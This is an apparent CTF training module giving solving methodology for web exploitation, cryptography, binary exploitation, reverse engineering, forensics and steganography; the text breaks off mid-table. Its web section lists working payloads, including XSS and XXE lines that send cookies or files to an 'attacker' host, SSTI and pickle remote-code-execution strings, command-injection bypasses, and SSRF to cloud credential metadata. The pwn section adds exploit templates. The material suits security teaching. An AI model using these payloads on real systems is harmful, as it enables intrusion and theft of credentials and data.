<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# CTF Methodology Deep Dive

> NERF Training Module — Structured CTF problem-solving methodology across all categories.
> Applies directly to penetration testing, incident response, and security research workflows.

---

## Table of Contents

1. [General CTF Methodology](#general-ctf-methodology)
2. [Web Exploitation](#1-web-exploitation)
3. [Cryptography](#2-cryptography)
4. [Binary Exploitation / Pwn](#3-binary-exploitation--pwn)
5. [Reverse Engineering](#4-reverse-engineering)
6. [Forensics](#5-forensics)
7. [Steganography](#6-steganography)
8. [OSINT](#7-osint)
9. [Miscellaneous](#8-miscellaneous)
10. [Tool Arsenal](#tool-arsenal)
11. [Training Platforms & Progression](#training-platforms--progression)

---

## General CTF Methodology

### The RECON-ANALYZE-EXPLOIT-DOCUMENT Loop

Every CTF challenge follows the same cognitive pattern regardless of category:

```
1. RECON     — Read the challenge description. Identify the category. Download all files.
2. TRIAGE    — Run baseline tools: file, strings, xxd, exiftool. Identify file types and anomalies.
3. HYPOTHESIZE — Form 2-3 theories about the intended vulnerability or hiding mechanism.
4. ANALYZE   — Deep-dive with category-specific tools. Validate or eliminate hypotheses.
5. EXPLOIT   — Craft the solution. Extract the flag.
6. DOCUMENT  — Record the technique for future reference. Note alternative approaches.
```

### Universal First Steps (Run on ANY challenge file)

```bash
file challenge_file                    # Identify true file type (ignore extensions)
strings challenge_file | grep -i flag  # Quick string search
strings challenge_file | grep -i ctf   # Check for flag format
xxd challenge_file | head -50          # Inspect hex header (magic bytes)
binwalk challenge_file                 # Check for embedded files/archives
exiftool challenge_file                # Extract all metadata
```

### Flag Format Awareness

Most CTFs use a known flag format: `FLAG{...}`, `flag{...}`, `CTF{...}`, or competition-specific prefixes like `picoCTF{...}`, `HTB{...}`. Always grep for the known prefix first.

---

## 1. Web Exploitation

### Methodology

```
1. Enumerate    — Map the application surface (endpoints, parameters, technologies)
2. Fingerprint  — Identify stack (language, framework, server, CMS)
3. Inject       — Test all input vectors for injection flaws
4. Escalate     — Chain vulnerabilities to reach the flag
```

### Enumeration Phase

```bash
# Directory and file brute-force
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt
dirsearch -u http://target -e php,asp,html

# Technology fingerprinting
whatweb http://target
curl -I http://target                  # Response headers
```

**Always check:** `/robots.txt`, `/sitemap.xml`, `/.git/`, `/.env`, `/backup/`, `/admin/`, `/flag.txt`, `/flag`, source code comments.

### Common Challenge Patterns & Payloads

#### SQL Injection

```sql
-- Authentication bypass
' OR 1=1 --
' OR '1'='1
" OR ""="
admin' --
admin' #

-- Union-based extraction
' UNION SELECT 1,2,3 --
' UNION SELECT null,table_name,null FROM information_schema.tables --
' UNION SELECT null,column_name,null FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT null,username,password FROM users --

-- Time-based blind
' OR IF(1=1, SLEEP(5), 0) --
' OR (SELECT SLEEP(5)) --

-- Error-based (MySQL)
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --

-- SQLite specifics (common in CTFs)
' UNION SELECT 1,sql,3 FROM sqlite_master --
' UNION SELECT 1,group_concat(tbl_name),3 FROM sqlite_master WHERE type='table' --
```

**Tool:** `sqlmap -u "http://target/page?id=1" --dbs --batch`

#### Cross-Site Scripting (XSS)

```html
<!-- Basic -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- Filter bypass -->
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror="&#x61;lert(1)">
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

<!-- Cookie exfiltration -->
<script>fetch('http://attacker/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker/?c='+document.cookie">
```

#### Server-Side Template Injection (SSTI)

```python
# Detection (test in order)
${7*7}       # 49 = Java EL, Freemarker
{{7*7}}      # 49 = Jinja2, Twig
{{7*'7'}}    # 7777777 = Jinja2 confirmed
<%= 7*7 %>   # 49 = ERB (Ruby)
#{7*7}       # 49 = Slim, Pug

# Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

# Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

#### Command Injection

```bash
# Basic
; cat /flag.txt
| cat /flag.txt
`cat /flag.txt`
$(cat /flag.txt)

# Space bypass
cat${IFS}/flag.txt
cat$IFS$9/flag.txt
{cat,/flag.txt}
cat</flag.txt
X=$'\x20';cat${X}/flag.txt

# Keyword bypass (cat blocked)
tac /flag.txt
head /flag.txt
tail /flag.txt
nl /flag.txt
sort /flag.txt
rev /flag.txt | rev
xxd /flag.txt
base64 /flag.txt
dd if=/flag.txt

# Slash bypass
cat ${HOME:0:1}flag.txt

# Wildcard bypass
cat /fla?.txt
cat /fla*
```

#### Server-Side Request Forgery (SSRF)

```
# Localhost bypass
http://127.0.0.1
http://0.0.0.0
http://0x7f000001
http://2130706433           # Decimal representation
http://[::1]                # IPv6
http://127.1
http://0177.0.0.1           # Octal
http://localtest.me         # DNS resolves to 127.0.0.1
http://spoofed.burpcollaborator.net  # DNS rebinding

# Cloud metadata (AWS)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Protocol smuggling
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a
file:///etc/passwd
dict://127.0.0.1:11211/stat
```

#### Local File Inclusion (LFI)

```
# Basic traversal
../../../etc/passwd
....//....//....//etc/passwd       # Double encoding bypass
..%252f..%252f..%252fetc/passwd    # Double URL encoding
/etc/passwd%00                     # Null byte (PHP < 5.3.4)

# PHP wrapper chain
php://filter/convert.base64-encode/resource=index.php
php://input                        # POST body as include (allow_url_include=On)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id                        # If expect:// wrapper is available

# Log poisoning
/var/log/apache2/access.log        # Inject PHP via User-Agent header
/proc/self/environ                 # Inject via HTTP headers
```

#### Deserialization

```python
# Python pickle RCE
import pickle, os, base64
class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))
print(base64.b64encode(pickle.dumps(Exploit())))

# PHP unserialize — look for magic methods: __wakeup, __destruct, __toString
# Java — use ysoserial to generate gadget chains
# .NET — use ysoserial.net
```

#### XXE (XML External Entity)

```xml
<!-- Basic file read -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- Out-of-band exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
  %xxe;
]>
<foo>&send;</foo>

<!-- evil.dtd on attacker server -->
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://attacker/?d=%file;'>">
%eval;
```

#### PHP-Specific Weaknesses

```php
// Type juggling — loose comparison (==) vs strict (===)
"0e462097431906509019562988736854" == "0"   // TRUE (scientific notation)
md5("240610708")  = "0e462097431906509019562988736854"  // Magic hash
md5("QNKCDZO")   = "0e830400451993494058024219903391"  // Another magic hash

// strcmp bypass — pass array to get NULL == 0 (TRUE)
// password[]=anything in POST data

// is_numeric bypass — hex strings accepted in PHP < 7.0
// preg_match bypass — null byte, newline injection, ReDoS
```

### Web Tools Quick Reference

| Tool | Purpose | Key Command |
|------|---------|-------------|
| Burp Suite | Proxy/repeater/intruder | GUI — intercept, modify, replay requests |
| sqlmap | SQL injection | `sqlmap -u URL --dbs --batch --tamper=space2comment` |
| ffuf | Fuzzing | `ffuf -u URL/FUZZ -w wordlist -mc 200` |
| gobuster | Directory brute-force | `gobuster dir -u URL -w wordlist` |
| Commix | Command injection | `commix --url="URL?param=test"` |
| XSStrike | XSS detection | `xsstrike -u URL?param=test` |
| CyberChef | Encoding/decoding | Web-based multi-tool |
| Postman/curl | API testing | `curl -X POST -d 'data' URL` |

---

## 2. Cryptography

### Methodology

```
1. Identify    — What type of cipher/encoding? What parameters are given?
2. Classify    — Symmetric? Asymmetric? Hash? Encoding? Classical?
3. Weakness    — What is mathematically weak about this implementation?
4. Attack      — Apply the appropriate cryptanalytic technique
5. Decrypt     — Recover plaintext, extract flag
```

### Identification Cheat Sheet

| Pattern | Likely Type |
|---------|-------------|
| Base64 chars ending in `=` or `==` | Base64 encoding |
| `0x` prefix, hex chars | Hex encoding |
| All uppercase/lowercase letters only | Caesar, ROT13, substitution |
| Repeating patterns in ciphertext | ECB mode, substitution |
| Large integers (n, e, c) | RSA |
| `p`, `g`, `A`, `B` parameters | Diffie-Hellman |
| IV + ciphertext | AES-CBC |
| `-----BEGIN` header | PEM format (RSA key, certificate) |
| 32 hex chars | MD5 hash |
| 40 hex chars | SHA-1 hash |
| 64 hex chars | SHA-256 hash |

### Classical Ciphers

```bash
# Caesar / ROT13
echo "ciphertext" | tr 'A-Za-z' 'N-ZA-Mn-za-m'   # ROT13
# Brute-force all 26 shifts:
for i in $(seq 0 25); do echo "ciphertext" | caesar $i; done

# Vigenere
# Use: https://guballa.de/vigenere-solver or dcode.fr/vigenere-cipher
# Key length detection: Kasiski examination, Index of Coincidence

# Substitution cipher
# Use: https://quipqiup.com/ (automated frequency analysis)

# Atbash (A=Z, B=Y, ...)
echo "ciphertext" | tr 'A-Za-z' 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba'

# Rail Fence
# Use: https://crypto.interactive-maths.com/rail-fence-cipher.html
```

### RSA Attacks

#### Standard RSA Math
```python
# Given: n (modulus), e (public exponent), c (ciphertext)
# Goal: find d (private exponent), compute m = pow(c, d, n)

from Crypto.Util.number import inverse, long_to_bytes

# If you can factor n into p, q:
p, q = factor(n)  # Use factordb.com, yafu, msieve, or alpertron
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
plaintext = long_to_bytes(m)
```

#### Attack Decision Tree

```
RSA Challenge
├── Small n → Factor directly (factordb.com, yafu, msieve)
├── Small e (e=3) → Cube root attack (m^e < n means c = m^e, take eth root)
├── Large e → Wiener's attack (continued fractions on e/n)
├── e and d related → Boneh-Durfee (d < n^0.292)
├── Multiple ciphertexts, same m, different n → Hastad's broadcast attack
├── Same n, different e → Common modulus attack
├── n shares factor with another n → GCD attack: gcd(n1, n2)
├── p ≈ q (close primes) → Fermat factorization
├── Smooth p-1 or q-1 → Pollard's p-1
├── Known partial key → Coppersmith / partial key recovery
├── RSA signature → Bleichenbacher, fault attacks
└── Unknown → RsaCtfTool --publickey key.pub --private
```

#### RsaCtfTool Usage

```bash
# Try all attacks automatically
RsaCtfTool --publickey key.pub --private
RsaCtfTool --publickey key.pub --decrypt ciphertext.enc

# Specific attacks
RsaCtfTool --publickey key.pub --attack wiener
RsaCtfTool --publickey key.pub --attack fermat

# From raw parameters
RsaCtfTool -n <N> -e <E> --decrypt <C>

# Create public key from n, e
RsaCtfTool --createpub -n <N> -e <E> > key.pub

# Dump key parameters
RsaCtfTool --dumpkey --key key.pub
```

### AES Attacks

```
AES Challenge
├── ECB mode → Detect: identical plaintext blocks produce identical ciphertext blocks
│   ├── Block shuffling / cut-and-paste attacks
│   └── Byte-at-a-time oracle (chosen plaintext)
├── CBC mode
│   ├── Padding oracle → padding-oracle-attacker, PadBuster
│   ├── Bit-flipping → XOR target byte in previous ciphertext block
│   └── IV = Key → Leak key through error messages
├── CTR mode
│   ├── Nonce reuse → XOR ciphertexts, crib drag
│   └── Counter overflow → Keystream reuse
└── GCM mode → Nonce reuse enables forgery
```

### XOR Attacks

```python
# Single-byte XOR brute force
ciphertext = bytes.fromhex("1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736")
for key in range(256):
    plaintext = bytes([b ^ key for b in ciphertext])
    if all(32 <= c < 127 for c in plaintext):
        print(f"Key {key}: {plaintext.decode()}")

# Multi-byte XOR — use xortool
# xortool ciphertext.bin -l <key_length>    # If key length known
# xortool ciphertext.bin -c 20              # Assume most frequent byte is space (0x20)

# Known-plaintext XOR
# key = ciphertext XOR known_plaintext
```

### Hash Attacks

```bash
# Length extension attack (MD5, SHA-1, SHA-256)
# Allows: given H(secret||message), compute H(secret||message||padding||append)
hash_extender -d "original_data" -s "known_hash" -a "append_data" -f sha256 -l <secret_length>

# Hash collision (MD5)
# Use fastcoll to generate two files with same MD5
fastcoll -o file1.bin file2.bin

# Rainbow tables / lookup
# https://crackstation.net/
# hashcat -m 0 hash.txt wordlist.txt   # MD5
# hashcat -m 100 hash.txt wordlist.txt # SHA-1
# john --format=raw-md5 hash.txt
```

### Crypto Tools Quick Reference

| Tool | Purpose | Key Command |
|------|---------|-------------|
| CyberChef | Multi-decoder | Web GUI — chain operations |
| RsaCtfTool | RSA attacks | `RsaCtfTool --publickey key.pub --private` |
| xortool | XOR analysis | `xortool ciphertext -c 20` |
| hashcat | Hash cracking | `hashcat -m <mode> hash wordlist` |
| John the Ripper | Hash cracking | `john --wordlist=rockyou.txt hash.txt` |
| hash_extender | Length extension | `hash_extender -d data -s hash -a append -f sha256 -l len` |
| SageMath | Math/crypto | `sage -python solve.py` |
| factordb.com | Factor large N | Web — paste integer |
| dcode.fr | Classical ciphers | Web — multiple solver tools |
| quipqiup.com | Substitution solver | Web — paste ciphertext |

---

## 3. Binary Exploitation / Pwn

### Methodology

```
1. Recon       — checksec, file, strings, ltrace, strace
2. Analyze     — Disassemble, identify vulnerability class
3. Constrain   — Map protections: ASLR, NX, PIE, canary, RELRO
4. Develop     — Build exploit, account for protections
5. Test        — Run locally, debug, refine offsets
6. Deploy      — Run against remote target
```

### Reconnaissance Phase

```bash
file binary                        # Architecture, linking, stripped?
checksec --file=binary             # Security mitigations
strings binary                     # Hardcoded strings, functions
ltrace ./binary                    # Library call trace
strace ./binary                    # System call trace
objdump -d binary | less           # Disassembly
readelf -a binary                  # ELF structure
ldd binary                        # Linked libraries
```

### Protection Bypass Reference

| Protection | What It Does | Bypass |
|-----------|--------------|--------|
| NX (No-Execute) | Stack not executable | ROP chains, ret2libc |
| ASLR | Randomize memory layout | Information leak, brute force (32-bit), ret2plt |
| Stack Canary | Detect stack overflow | Canary leak (format string), brute force |
| PIE | Randomize binary base | Information leak, partial overwrite |
| RELRO (Full) | GOT read-only | Cannot overwrite GOT; use __malloc_hook, __free_hook |
| RELRO (Partial) | GOT writable | GOT overwrite still possible |

### Buffer Overflow

```python
from pwn import *

# Find offset to EIP/RIP
# Method 1: cyclic pattern
cyclic(200)               # Generate pattern
cyclic_find(0x61616168)   # Find offset from crash value

# Method 2: GDB
# run with: r < <(python3 -c "print('A'*200)")
# check: info registers, x/wx $rsp

# Basic stack smash (no protections)
p = process('./binary')
# p = remote('target', port)

offset = 64
payload = b'A' * offset
payload += p64(win_function_addr)   # Overwrite return address
p.sendline(payload)
p.interactive()
```

### Return-Oriented Programming (ROP)

```python
from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Find gadgets
rop.find_gadget(['pop rdi', 'ret'])     # pwntools
# OR: ROPgadget --binary binary | grep "pop rdi"
# OR: ropper -f binary --search "pop rdi"

# ret2libc (ASLR off or leaked base)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]       # Stack alignment (Ubuntu 18.04+)

payload = b'A' * offset
payload += p64(ret)                      # Align stack (if needed)
payload += p64(pop_rdi)
payload += p64(next(elf.search(b'/bin/sh')))  # Or libc address
payload += p64(elf.symbols['system'])    # Or libc system
```

### Format String Exploitation

```python
# Read from stack
payload = b'%x.' * 20           # Dump stack values
payload = b'%7$s'               # Read string at 7th stack position
payload = b'AAAA%7$x'           # Verify offset (look for 0x41414141)

# Arbitrary read
addr = p32(target_addr)
payload = addr + b'%7$s'        # Read string at target_addr

# Arbitrary write (overwrite GOT entry, return address, etc.)
# Use pwntools fmtstr module:
from pwn import *
fmtstr_payload(offset, {target_addr: value})
```

### Heap Exploitation

```
Heap Challenge
├── Use-After-Free → Allocate object, free it, reallocate with controlled data, use original pointer
├── Double Free → Free same chunk twice, get same allocation twice
├── Heap Overflow → Overwrite adjacent chunk metadata
├── Tcache poisoning (glibc 2.26+) → Corrupt tcache fd pointer
├── Fastbin dup → Double free in fastbin, arbitrary allocation
├── House of Force → Overwrite top chunk size, allocate at arbitrary address
└── Unsorted bin attack → Leak libc address via unsorted bin fd/bk pointers
```

### Pwntools Essential Patterns

```python
from pwn import *

# Setup
context(arch='amd64', os='linux', log_level='debug')
# p = process('./binary')
p = remote('target.com', 1337)

# I/O
p.sendline(b'payload')
p.send(b'payload')              # No newline
p.sendafter(b'prompt: ', b'payload')
p.recvline()
p.recvuntil(b'flag{')
p.interactive()

# Packing
p64(0xdeadbeef)                 # 64-bit little-endian
p32(0xdeadbeef)                 # 32-bit little-endian
u64(b'\x01\x02\x03\x04\x05\x06\x07\x08')  # Unpack

# Shellcraft
shellcode = asm(shellcraft.sh())           # /bin/sh shellcode
shellcode = asm(shellcraft.cat('/flag'))    # cat flag

# ELF interaction
elf = ELF('./binary')
elf.symbols['main']             # Address of main
elf.got['puts']                 # GOT entry for puts
elf.plt['puts']                 # PLT entry for puts

# Debugging (local)
p = gdb.debug('./binary', '''
    b *main+42
    c
''')
```

### Pwn Tools Quick Reference

| Tool | Purpose | Key Command |
|------|---------|-------------|
| pwntools | Exploit framework | `from pwn import *` |
| GDB + pwndbg | Debugging | `gdb ./binary` then `checksec`, `vmmap`, `heap` |
| GDB + GEF | Debugging | `gdb ./binary` then `pattern create 200` |
| ROPgadget | Find gadgets | `ROPgadget --binary binary --ropchain` |
| ropper | Find gadgets | `ropper -f binary --search "pop rdi"` |
| one_gadget | Find execve gadgets in libc | `one_gadget libc.so.6` |
| seccomp-tools | Analyze seccomp filters | `seccomp-tools dump ./binary` |
| checksec | Check protections | `checksec --file=binary` |
| patchelf | Modify ELF | `patchelf --set-interpreter ./ld.so ./binary` |
| pwninit | Setup challenge | `pwninit --bin binary --libc libc.so.6` |

---

## 4. Reverse Engineering

### Methodology

```
1. Identify    — File type, architecture, packing, obfuscation
2. Static      — Disassemble, decompile, string analysis
3. Dynamic     — Run in debugger/sandbox, trace execution
4. Understand  — Map program logic, identify key decision points
5. Solve       — Extract flag, keygen, or patch binary
```

### Static Analysis

```bash
file binary                        # File type and architecture
strings binary                     # Extract readable strings
strings -e l binary                # Little-endian UTF-16 strings (Windows)
objdump -d binary                  # Disassembly
nm binary                         # Symbol table (if not stripped)
readelf -S binary                  # Section headers
```

**Decompilers:**
- **Ghidra** — Free, open-source, Java-based. Supports x86, ARM, MIPS, PPC, etc.
- **IDA Pro** — Industry standard. IDA Free available for non-commercial use.
- **Binary Ninja** — Modern interface, good API.
- **Cutter** — GUI for Radare2 with Ghidra decompiler integration.

### Dynamic Analysis

```bash
# Linux
gdb ./binary                       # Debugger (use pwndbg or GEF plugin)
ltrace ./binary                    # Library calls
strace ./binary                    # System calls
valgrind ./binary                  # Memory analysis

# Instruction-level tracing
qira ./binary                      # Timeless debugging (replay execution)

# Frida (dynamic instrumentation)
frida -l hook_script.js binary     # Hook functions at runtime
```

### Common RE Challenge Patterns

#### Flag Checker / Password Validator
```
Pattern: Binary takes input, validates it character by character or via transformation.
Approach:
  1. Find the comparison function (strcmp, memcmp, or custom)
  2. Extract the target value
  3. Reverse the transformation (XOR, shift, substitution table)
  4. Use symbolic execution (angr/z3) for complex constraints
```

#### Angr (Symbolic Execution)
```python
import angr

proj = angr.Project('./binary', auto_load_libs=False)
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)

# Find path to success, avoid failure
simgr.explore(find=0x401234, avoid=0x401240)

if simgr.found:
    solution = simgr.found[0]
    print(solution.posix.dumps(0))  # stdin input that reaches target
```

#### Z3 (Constraint Solving)
```python
from z3 import *

s = Solver()
flag = [BitVec(f'c{i}', 8) for i in range(32)]

# Add constraints from the binary's logic
for c in flag:
    s.add(c >= 0x20, c <= 0x7e)  # Printable ASCII

# Example: flag[0] ^ 0x42 == 0x12
s.add(flag[0] ^ 0x42 == 0x12)
# Add more constraints from reversed logic...

if s.check() == sat:
    m = s.model()
    print(''.join(chr(m[c].as_long()) for c in flag))
```

### Language-Specific Reversing

| Language | Decompile Tool | Notes |
|----------|---------------|-------|
| C/C++ | Ghidra, IDA | Standard RE workflow |
| Python (.pyc) | uncompyle6, pycdc, decompyle3 | Bytecode to source |
| Java (.class/.jar) | JD-GUI, CFR, Procyon | Nearly perfect decompilation |
| .NET (C#) | dnSpy, ILSpy, dotPeek | Excellent decompilation |
| Go | Ghidra + go-re scripts | Stripped symbols common; look for `main.main` |
| Rust | Ghidra | Heavy inlining; focus on string refs |
| Android (APK) | apktool, jadx, dex2jar + JD-GUI | Unpack then decompile |
| JavaScript (obfuscated) | de4js, jsnice, beautifier.io | Deobfuscate first |

### Anti-Debugging / Anti-RE Techniques

```
Technique                    Detection/Bypass
─────────────────────────────────────────────
ptrace self-attach           Patch out ptrace call or LD_PRELOAD stub
IsDebuggerPresent (Win)      Patch return value or PEB flag
Timing checks                NOP out rdtsc/GetTickCount checks
String encryption            Breakpoint on decryption routine
Control flow flattening      Symbolic execution (angr)
VM-based obfuscation         Trace and reconstruct logic
Anti-disassembly (junk bytes) Manual analysis, fix disassembly
```

### RE Tools Quick Reference

| Tool | Purpose | Key Command |
|------|---------|-------------|
| Ghidra | Decompiler | GUI — CodeBrowser, auto-analyze |
| IDA Pro/Free | Disassembler | GUI — F5 for decompiler |
| Radare2 | RE framework | `r2 -A binary` then `afl`, `pdf @main` |
| angr | Symbolic execution | Python API |
| z3 | Constraint solver | Python API |
| Frida | Dynamic instrumentation | `frida -l script.js binary` |
| uncompyle6 | Python decompiler | `uncompyle6 file.pyc` |
| jadx | Android decompiler | `jadx -d output/ app.apk` |
| dnSpy | .NET decompiler | GUI — drag and drop assembly |
| strace/ltrace | Syscall/lib tracing | `strace ./binary 2>&1` |

---

## 5. Forensics

### Methodology

```
1. Preserve    — Never modify the original evidence. Work on copies.
2. Identify    — File types, timestamps, metadata, structure.
3. Extract     — Carve embedded files, recover deleted data.
4. Analyze     — Timeline reconstruction, artifact correlation.
5. Report      — Document chain of evidence and findings.
```

### File Analysis

```bash
file evidence_file                  # Identify type (magic bytes)
xxd evidence_file | head            # Hex dump — check header
binwalk evidence_file               # Scan for embedded files
binwalk -e evidence_file            # Extract embedded files
foremost evidence_file              # Carve files by header/footer
scalpel evidence_file               # Another file carver
exiftool evidence_file              # All metadata
strings -n 8 evidence_file          # Strings >=8 chars
```

### Common Magic Bytes

| Hex Signature | File Type |
|---------------|-----------|
| `89 50 4E 47` | PNG |
| `FF D8 FF` | JPEG |
| `47 49 46 38` | GIF |
| `50 4B 03 04` | ZIP / DOCX / XLSX / APK / JAR |
| `25 50 44 46` | PDF |
| `7F 45 4C 46` | ELF |
| `4D 5A` | PE (Windows EXE/DLL) |
| `1F 8B` | Gzip |
| `42 5A 68` | Bzip2 |
| `FD 37 7A 58 5A` | XZ |
| `52 61 72 21` | RAR |
| `7B 5C 72 74 66` | RTF |
| `D0 CF 11 E0` | MS Office (OLE) |

### Disk / Filesystem Forensics

```bash
# Mount disk image
mount -o loop,ro image.dd /mnt/evidence

# Filesystem analysis (Sleuth Kit)
mmls image.dd                       # Partition table
fls -r image.dd                     # File listing (recursive)
icat image.dd <inode>               # Extract file by inode
tsk_recover image.dd output_dir/    # Recover all files

# Deleted file recovery
photorec image.dd                   # Interactive file carver
extundelete image.dd --restore-all  # Ext filesystem recovery

# Timeline
fls -m "/" -r image.dd > bodyfile
mactime -b bodyfile > timeline.csv
```

### Memory Forensics

```bash
# Volatility 3 (preferred)
vol3 -f memory.dmp windows.info        # OS info
vol3 -f memory.dmp windows.pslist      # Process list
vol3 -f memory.dmp windows.pstree      # Process tree
vol3 -f memory.dmp windows.cmdline     # Command lines
vol3 -f memory.dmp windows.filescan    # Open files
vol3 -f memory.dmp windows.dumpfiles   # Extract files
vol3 -f memory.dmp windows.netscan     # Network connections
vol3 -f memory.dmp windows.hashdump    # Password hashes
vol3 -f memory.dmp windows.malfind     # Injected code

# Volatility 2 (legacy)
volatility -f memory.dmp imageinfo     # Identify profile
volatility -f memory.dmp --profile=<PROFILE> pslist
volatility -f memory.dmp --profile=<PROFILE> cmdscan
volatility -f memory.dmp --profile=<PROFILE> filescan
volatility -f memory.dmp --profile=<PROFILE> dumpfiles -Q <offset> -D output/

# Linux memory
volatility -f memory.lime --profile=LinuxProfile linux_pslist
volatility -f memory.lime --profile=LinuxProfile linux_bash
```

### Network Forensics

```bash
# Wireshark / tshark
tshark -r capture.pcap -Y "http"       # Filter HTTP traffic
tshark -r capture.pcap -Y "dns"        # DNS queries
tshark -r capture.pcap -Y "tcp.port==4444"  # Specific port
tshark -r capture.pcap -T fields -e http.file_data -Y "http.response"  # Extract HTTP data

# Extract files from pcap
tcpflow -r capture.pcap                # Reassemble TCP streams
foremost -i capture.pcap               # Carve files from pcap
NetworkMiner capture.pcap              # GUI: files, images, credentials

# Zeek (formerly Bro)
zeek -r capture.pcap                   # Generate log files
cat conn.log                           # Connection summary
cat http.log                           # HTTP requests
cat dns.log                            # DNS queries
cat files.log                          # Transferred files
```

### PDF Forensics

```bash
pdfinfo document.pdf                    # Basic metadata
pdf-parser -s "/JS" document.pdf        # Find JavaScript
pdf-parser -s "/Launch" document.pdf    # Find launch actions
peepdf -i document.pdf                  # Interactive analysis
pdftotext document.pdf                  # Extract text
pdfdetach -saveall document.pdf         # Extract attachments
qpdf --qdf document.pdf unpacked.pdf   # Normalize for analysis
```

### Forensics Tools Quick Reference

| Tool | Purpose | Key Command |
|------|---------|-------------|
| Volatility 3 | Memory forensics | `vol3 -f dump windows.pslist` |
| Wireshark | Packet analysis | GUI or `tshark -r file.pcap` |
| Autopsy/Sleuth Kit | Disk forensics | `fls -r image.dd` |
| binwalk | Embedded file extraction | `binwalk -e file` |
| foremost | File carving | `foremost -i file` |
| exiftool | Metadata | `exiftool file` |
| photorec | File recovery | Interactive CLI |
| tcpflow | TCP reassembly | `tcpflow -r capture.pcap` |

---

## 6. Steganography

### Methodology

```
1. Visual      — Look at the image. Anything visually hidden?
2. Metadata    — Check EXIF, comments, embedded thumbnails
3. File        — Check for appended data, embedded archives
4. Pixel       — LSB analysis, color channel separation, bit planes
5. Transform   — Frequency domain analysis (FFT, DCT for JPEG)
6. Audio       — Spectrogram, phase analysis, LSB in audio samples
7. Password    — Try extraction with empty password, then brute-force
```

### Image Steganography

```bash
# Step 1: Metadata
exiftool image.png                          # All metadata (check comments field)
exiftool -b -ThumbnailImage image.jpg > thumb.jpg  # Extract thumbnail (may differ from main image)
identify -verbose image.png                 # ImageMagick verbose info

# Step 2: File structure
file image.png                              # True file type
binwalk image.png                           # Embedded files
binwalk -e image.png                        # Extract embedded content
strings image.png | grep -i flag            # String search
xxd image.png | tail                        # Check for appended data after IEND (PNG) or FFD9 (JPEG)

# Step 3: Steganographic extraction
steghide extract -sf image.jpg              # Extract (try empty password first)
steghide extract -sf image.jpg -p ""        # Explicit empty password
stegseek image.jpg rockyou.txt              # Fast brute-force steghide passwords
stegseek image.jpg --crack                  # Crack without wordlist (fast)
outguess -r image.jpg output.txt            # Outguess extraction
jsteg reveal image.jpg                      # JPEG LSB extraction
openstego extract -sf image.png -xf out.txt # OpenStego extraction

# Step 4: LSB / Pixel analysis
zsteg -a image.png                          # PNG/BMP: try all LSB combinations
zsteg image.png -b 1                        # LSB only

# Step 5: Visual analysis — use Stegsolve.jar
# Cycle through color channels (R, G, B) and bit planes (0-7)
# Check: Random Alpha, Frame Browser, Data Extract

# Step 6: Pixel manipulation
python3 -c "
from PIL import Image
img = Image.open('image.png')
pixels = list(img.getdata())
# Extract LSB of each R channel byte
bits = ''.join([str(p[0] & 1) for p in pixels])
# Convert bits to bytes
flag = ''.join([chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)])
print(flag[:100])
"
```

### Audio Steganography

```bash
# Spectrogram analysis — open in:
# Sonic Visualizer → Layer → Add Spectrogram
# Audacity → Analyze → Plot Spectrum (or switch to spectrogram view)
# Hidden messages often visible as text/images in the spectrogram

# Speed/direction manipulation
ffplay -af "atempo=0.5" audio.wav           # Slow down
ffmpeg -i audio.wav -filter:a "areverse" reversed.wav  # Reverse

# LSB in audio
python3 -c "
import wave
w = wave.open('audio.wav', 'r')
frames = w.readframes(w.getnframes())
bits = ''.join([str(b & 1) for b in frames])
chars = ''.join([chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)])
print(chars[:200])
"

# DTMF decoding (phone tones)
multimon-ng -t wav audio.wav -a DTMF

# Morse code
# Listen or visualize waveform — decode manually or use online decoder

# SSTV (Slow Scan Television)
qsstv                                      # Decode SSTV images from audio
```

### Text / Data Steganography

```bash
# Whitespace steganography (spaces and tabs encode data)
# Use: https://www.dcode.fr/whitespace-language or stegsnow
stegsnow -C -p "" file.txt                 # Extract with empty password

# Zero-width characters (Unicode steganography)
# Characters like U+200B (zero-width space), U+200C, U+200D
# Inspect with: xxd file.txt | grep -E "e2 80 (8b|8c|8d)"

# Hidden text in documents
# PDF: pdftotext, check layers, JavaScript, embedded files
# DOCX: unzip and inspect XML files
```

### QR Codes and Barcodes

```bash
zbarimg image.png                           # Decode QR/barcodes from image
```

### Stego Tools Quick Reference

| Tool | Purpose | File Types |
|------|---------|------------|
